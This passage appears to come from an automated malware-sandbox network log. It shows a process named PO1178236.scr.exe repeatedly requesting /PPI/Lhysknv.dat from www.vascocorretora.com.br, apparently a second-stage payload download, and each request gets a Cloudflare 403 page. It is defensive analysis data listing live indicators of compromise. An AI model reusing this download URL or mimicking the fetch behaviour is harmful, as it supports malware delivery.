70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7106fd442d8</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:14 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 31 30 36 66 64 34 34 32 64 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7106fd442d8',t:'MTczNjQwNzc1NC4wMDAwMDA='}
2025-01-09 07:29:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49825	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:14 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:14 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:29 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2BuRusq2Q0HHmQ9bfFNIWlwsKtkFrkDQ3VzxKdO0S93DFY6xmxDJICvnfifipb%2BLtQ8DFpBg37LZvaHxLt8jrCzjS396E2WpoDHZimf8yLkbYFLvsR69jcy0HD34NLvSidiE22AvE9R6bFTQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7143942efa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=1983&rtt_var=814&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1289752&cwnd=165&unsent_bytes=0&cid=43cbdd1c39e2efb9&ts=138&x=0"
2025-01-09 07:29:14 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:14 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:14 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:14 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 31 34 33 39 34 32 65 66 61 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7143942efa1</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:14 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 31 34 33 39 34 32 65 66 61 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7143942efa1',t:'MTczNjQwNzc1NC4wMDAwMDA='};var a=d
2025-01-09 07:29:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49826	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:15 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:15 UTC	1010	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:30 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tcWsg%2Bkc8AWafzSntTwNJjy5LLPJ3wcEUb0N1LQdfBqXjHcuUsrza%2B%2BJdzeqsH9%2F6oAoS88SubeugqhoPfeMrgGJmid7Laje8%2BAakYUwNAN0QqLTA01tyXxuvz3d89HF%2BMdsZLKe9Y4aRipC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b717eae1f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1467&min_rtt=1467&rtt_var=551&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1986394&cwnd=82&unsent_bytes=0&cid=413e7a78f55388fa&ts=133&x=0"
2025-01-09 07:29:15 UTC	359	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:15 UTC	1369	IN	Data Raw: 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 Data Ascii: oudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width
2025-01-09 07:29:15 UTC	1369	IN	Data Raw: 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e Data Ascii: ion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.
2025-01-09 07:29:15 UTC	1369	IN	Data Raw: 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 31 37 65 61 65 31 66 33 62 62 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 Data Ascii: ext-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b717eae1f3bb</strong></span> <span class="cf-footer-separator sm:hid
2025-01-09 07:29:15 UTC	1003	IN	Data Raw: 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 31 37 65 61 65 31 66 33 62 62 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b717eae1f3bb',t:'MTczNjQwNzc1NS4wMDAwMDA='};
2025-01-09 07:29:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49832	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:16 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:16 UTC	1008	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NI5p0pG0CxdioTbOtLlZxeRPlbu3oBd1L5nNCcpXMf%2Fq4G%2FGKyKmWu4gmFTQajidXcwhySBLi3LinXtt%2Br5FJ8oyqE086%2F7Vrg0fLs53U2mptnThevb2uyhvjyA%2FFDQvJk44MZgfOkCznDIS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b71bdf8e18ea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1593&min_rtt=1593&rtt_var=796&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4250&recv_bytes=704&delivery_rate=234237&cwnd=244&unsent_bytes=0&cid=bd49442c68195ae9&ts=160&x=0"
2025-01-09 07:29:16 UTC	361	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:16 UTC	1369	IN	Data Raw: 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: dflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=d
2025-01-09 07:29:16 UTC	1369	IN	Data Raw: 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 Data Ascii: n cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.ca
2025-01-09 07:29:16 UTC	1369	IN	Data Raw: 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 31 62 64 66 38 65 31 38 65 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 Data Ascii: t-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b71bdf8e18ea</strong></span> <span class="cf-footer-separator sm:hidde
2025-01-09 07:29:16 UTC	1001	IN	Data Raw: 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 31 62 64 66 38 65 31 38 65 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 Data Ascii: indow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b71bdf8e18ea',t:'MTczNjQwNzc1Ni4wMDAwMDA='};va
2025-01-09 07:29:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49839	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:16 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
